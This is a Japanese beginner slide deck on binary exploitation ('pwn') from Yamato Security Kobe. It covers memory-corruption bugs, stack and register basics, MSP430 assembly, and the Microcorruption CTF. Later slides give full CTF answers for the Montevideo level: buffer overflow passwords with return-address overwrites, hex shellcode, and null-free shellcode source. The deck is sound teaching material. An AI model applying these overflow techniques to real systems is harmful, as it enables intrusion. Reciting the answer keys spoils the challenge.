Weitere ähnliche Inhalte Ähnlich wie PWNの超入門 大和セキュリティ神戸 2018-03-25 (6) Mehr von Isaac Mathis (7) Kürzlich hochgeladen (12) PWNの超入門 大和セキュリティ神戸 2018-03-252. PWN(ポーン)とは?
• 元々「own」から来ている
• 「own」= 自分の物にする。ハッカースラングで「侵⼊、支配」等
• 例:
I owned/pwned him. (彼をハックした)
I/he/they got owned/pwned. (ハックされた!)
They’re owned/pwned bad. (あの会社は完全にハックされてる)
機密情報が全部流出され、バックドア等も置かれているニュアンス
• CTFではメモリ破壊系の脆弱性を悪用するバイナリ問題のジャンル
4. メモリ破壊系の脆弱性
• Buffer Overflow (Stack Overflow)
• Heap Overflow(ヒープオーバーフロー)
• Format String (書式⽂字列攻撃)
• Use After Free (UAF) (別名:Dangling Pointer)
• Write What Where (任意の場所に任意の値を書き込む)
• Type confusion (型の取り違え)
• Rowhammer等々
6. 仮想アドレス空間の構成(32ビット)
Base/Frame Pointer (Intel 32bit: EBP、64bit: RBP、ARM: R11、THUMB: R7)
ベースポインターからのオフセットで関数のローカル変数を参照
(次の命令を指す。Intel 32bit: EIP、64bit: RIP、ARM等:PC
別名:Instruction Pointer (IP)、命令ポインター)
カーネルメモリ(上位メモリ)
ユーザ
モード
メモリ
Stack Pointer: スタックの先頭を指している。PUSH/POP命令に使う
7. スタック
• プロセスの基本的なデータ構造
• LIFO - Last In First Out (後⼊れ先出し)
• 関数が呼び出された時(call命令時)に、
呼び出した関数のベースポインター、戻り値、関数の引数、
関数のローカル変数をスタックに保存する
• ⼀時的にデータを保存する時に使われる
10. SR (ステータスレジスタ)
• CPUが命令を実⾏後にフラグ(ビット)をセットする
• CF(キャリーフラグ):
ある桁での計算結果が、その桁で表すことのできる数を
超えたときに、キャリーとして1つ上の桁へ加えられる。
例:8ビットレジスタの場合:
255 + 9 = 264だけど255がmaxなので、
(264 & 255 = 8、CF = 1)。1 - 2 = 255、CF =1。
• ZF (ゼロフラグ):
算術演算命令の結果が0であった場合、真 (ZF=1)。
ADD、SUB等の演算命令。
論理演算命令の結果が0であった場合、真 (ZF=1)。
AND、OR等の論理演算命令
• NF (ネガティブフラグ):
算術演算命令の結果がネガティブの場合
22. アーキテクチャ
• ⼆種類
• CISC (Complex Instruction Set Computer)
(複雑命令セットコンピュータ) 例:Intel等
メリット:プログラミングが少し楽になる
デメリット:ハードウェアが複雑になるため、より電源を消費し、遅い
• RISC (Reduced Instruction Set Computer)
(縮小命令セットコンピュータ) 例:マイコン、ARM、MSP430等々
メリット:パフォーマンスがCISCより2~4倍速い。低消費電⼒。
デメリット:プログラムサイズが増える
23. アセンブリ⾔語のシンタックス
• ⼆種類
• Intel (Windows等)
<命令> <dst>(転送先), <src> (転送元) (オペランドの⽅向:←)
• AT&T (Linux GDB等)
<命令> <src> (転送元), <dst>(転送先) (オペランドの⽅向:→)
mov #0x2400, r15 (“0x2400”の2バイト(word)をr15にコピー)
mov.b #0x4b, 0x0(r15) (“0x4b”の1バイトをr15オフセット0にコピー)
mov.b #0x7a, 0x1(r15) (“0x4b”の1バイトをr15オフセット1にコピー)
mov.b @r15, r14 (r15にあるメモリアドレスにある値をr14にコピー)
mov &0x015c, r5 (0x015cのメモリアドレスにある値をr5にコピー)
25. 重要なアセンブリ
•CALL: 関数を呼び出す。
PUSH PC+2(次の命令をスタックに保存)
PC = dst
•CLR = レジスタをクリア(reg = 0)
•CMP = CoMPare (dst - src、0の場合は⼀致)
•INC = INCrement (+1)
•INCD = Double INCrement (+2)
•JC = Jump if Carry set
•JEQ/JZ = Jump if EQual/Zero
•JMP = JuMP
•JN = Jump if Negative set
26. 重要なアセンブリ
•JNC = Jump if Not Carry
•JNE/JNZ = Jump if Not Equal/Zero
•MOV = データをコピー
•NOP = 何もしない
•POP = SPのアドレスにあるデータを
レジスタにコピーし、SP = SP +2
•PUSH = SP = SP - 2、レジスタにある
データをSPにコピー
•RET = 関数からリターン
PC = @SP、SP = SP + 2
•SXT = Sign eXTension (8bitのMSBを16bitにextend)
例:00000000 10000000 → 11111111 10000000
11111111 00000000 → 00000000 00000000
•TST(.b) = CMP(.B) #0, xxx (0かどうかチェック)
28. Microcorruption CTF
• https://microcorruption.com/ (Matasano (現在NCC Group) & Squareが提供)
• バイナリ下忍(初⼼者)のためのCTF
• ウェブブラウザだけでプレーできる!ツール等不要!
• MSP430のRISC、リトルエンディアン、Word Aligned(アドレスは偶数)
• 世界中の倉庫の電⼦錠をハックしていくというストーリー
• マニュアル:https://microcorruption.com/manual.pdf
(Cのサンプルコードあり。必ずRTFM!)
• その他のMSP430 Assemblyマニュアル:
http://www.ece.utep.edu/courses/web3376/Notes_files/ee3376-assembly.pdf
http://www.ece.uah.edu/~milenka/cpe323-10S/lectures/cpe323msp430_ISA.pdf
30. 割り込みの⼀覧
•INT 0x00: putchar (1バイトを出⼒)
•INT 0x01: getchar (1バイトを⼊⼒)
•INT 0x02: gets(dst_address, max_length)(複数のバイトを⼊⼒)(ヌルバイトで⽌まる)
•INT 0x10: DEP (データ実⾏防⽌)を有効にする
•INT 0x11: メモリページを実⾏可能か書込可能のどちらかにする
•INT 0x20: rand (16ビットの乱数⽣成)
•INT 0x7D: HSM-1に接続。⼀番目の引数は⼊⼒されたPW、
⼆番目はPWが⼀致した時のフラグのメモリアドレス
•INT 0x7E: HSM-2に接続。引数が⼊⼒されたPW
31. HSM
•Hardware Security Module
•Model 1
• 割り込み「0x7D」でパスワードをマイコンからHSMに送る
• パスワードが⼀致した場合は、メモリのある所のバイトをセットする
•Model 2
• よりセキュアなHSMで直接HSMから解除する
• 割り込み「0x7E」でパスワードをマイコンからHSMに送って
HSMにあるPWと⼀致した場合はHSMが直接解除する
37. 1. New Orleans (10点)
• Bluetoothなんちゃらと
書いてあるけど無視して良い
• 取り敢えず
cでスタート
適当にパスワードを⼊⼒
sでステップ
パスワードを探して下さい
52. 3. Hanoi (20点)
• ハードウェアセキュリティモジュール
「LockIT Pro HSM-1」に接続している
• https://microcorruption.com/manual.pdf
• Interrupt 0x7DでパスワードをHSMに送る
• パスワードが⼀致した場合はメモリのある所の
バイトがセットされる
91. Montevideoのヒント5
• 3f40 feff mov #0xfffe, r15
1f53 inc r15
024f mov r15, r2
b012 1000 call #0x0010
•最後にヌルバイトがあるので、
シェルコードを最後にする必要がある
ゴミ(AAAAAA・・・)
戻り値
改ざん シェルコード
93. Montevideoの答え1
•ゴミデータ: A * 16
•戻り値改ざん:0x4402 (4400にヌルあるため)
•シェルコード(SC):3f40fffe1f53024fb0121000
•ゴミ(16B)+ 戻り値改ざん + ゴミ(2B)+ SC
•PW: 41414141414141414141414141414141
024442423f40fffe1f53024fb0121000
96. ヌルの無いシェルコード作成(上級)
• leafpad msp430-shellcode.cで以下のようなシェルコードを作成
main() {
asm(
"mov #0xf010, r4n” //r4 = 0xf010 (1111 0000 0001 0000)
"and #0x0fff, r4n” // & 0x0fff (0000 1111 1111 1111)
// r4 = (0000 0000 0001 0000) (= 0x10, 16)
"mov #0xff01, r2n” // r2 (SR) = 0xff01
"dec r2n” // r2 (SR) = 0xff00
"call r4n” // Call 0x10
);
}
•msp430-gcc -O0 -mmcu=msp430g2553 ./msp430-shellcode.c -o msp430-shellcode
99. Montevideoの答え(2)
•ゴミデータ: A * 16
•戻り値改ざん:0x4402 (4400にヌルあるため)
•シェルコード(SC):344010f034f0ff0f324001ff12838412
•ゴミ(16B)+ 戻り値改ざん + ゴミ(2B)+ SC
•PW: 41414141414141414141414141414141
02444242344010f034f0ff0f324001ff12838412
•ヌル無いけど、SCが12バイトから16バイトに増えた!
100. Montevideoの答え(3)
•ゴミデータ: A * 16
•戻り値改ざん:0x4460 (Call <INT>)
•シェルコード(とは⾔えないけど):7f (1バイト!)
•PW: 41414141414141414141414141414141
60447f
•Call <INT>したらSPが0x7fになるので、
ロックが解除される
101. 9. Santa Cruz (50点)
•長過ぎるパスワードを
拒否する
•HSM-1に接続している
•ユーザ名も必要!